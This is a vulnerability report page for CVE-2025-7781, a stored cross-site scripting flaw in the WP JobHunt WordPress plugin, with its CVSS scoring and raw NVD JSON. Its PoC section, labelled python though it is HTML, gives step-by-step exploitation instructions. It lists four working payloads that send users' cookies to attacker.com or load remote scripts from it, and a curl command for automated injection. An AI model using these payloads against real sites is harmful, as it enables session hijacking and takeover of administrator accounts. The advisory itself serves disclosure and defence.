Security Vulnerability Report
中文
CVE-2025-7781 CVSS 6.4 MEDIUM

CVE-2025-7781

Published: 2025-10-10 12:15:38
Last Modified: 2026-04-15 00:35:42

Description

The WP JobHunt plugin for WordPress, used by the JobCareer theme, is vulnerable to Stored Cross-Site Scripting via the ‘cs_job_title’ parameter in all versions up to, and including, 7.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Candidate-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP JobHunt插件 < 7.6(所有7.6及以下版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-7781 PoC: Stored XSS via cs_job_title parameter --> <!-- Step 1: Login as Candidate-level user --> <!-- Step 2: Navigate to job creation/edit page --> <!-- Step 3: Inject malicious payload in cs_job_title field --> <!-- Malicious payload examples for cs_job_title parameter: --> <!-- Payload 1: Cookie stealing --> <script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- Payload 2: Session hijacking via fetch --> <script>fetch('https://attacker.com/log',{method:'POST',body:JSON.stringify({cookies:document.cookie,url:location.href})});</script> <!-- Payload 3: Admin privilege escalation (phishing) --> <script>var s=document.createElement('script');s.src='https://attacker.com/admin-hijack.js';document.body.appendChild(s);</script> <!-- Payload 4: Event-based XSS (bypasses some filters) --> <img src=x onerror="fetch('https://attacker.com/x',{method:'POST',body:document.cookie})"> <!-- Step 4: Submit the form - payload is stored in database --> <!-- Step 5: When any user (especially admin) views the job listing/detail page, the script executes automatically --> <!-- Using curl for automated exploitation (requires valid session cookie): --> /* curl -X POST 'https://target.com/wp-admin/admin-ajax.php' \ -H 'Cookie: wordpress_logged_in_xxx=xxx' \ -d 'action=cs_job_post&cs_job_title=<script>alert(document.cookie)</script>&...' */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-7781", "sourceIdentifier": "[email protected]", "published": "2025-10-10T12:15:38.127", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP JobHunt plugin for WordPress, used by the JobCareer theme, is vulnerable to Stored Cross-Site Scripting via the ‘cs_job_title’ parameter in all versions up to, and including, 7.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Candidate-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0e3575f8-7adc-4546-9f78-bcb2cf3caa2a?source=cve", "source": "[email protected]"}]}}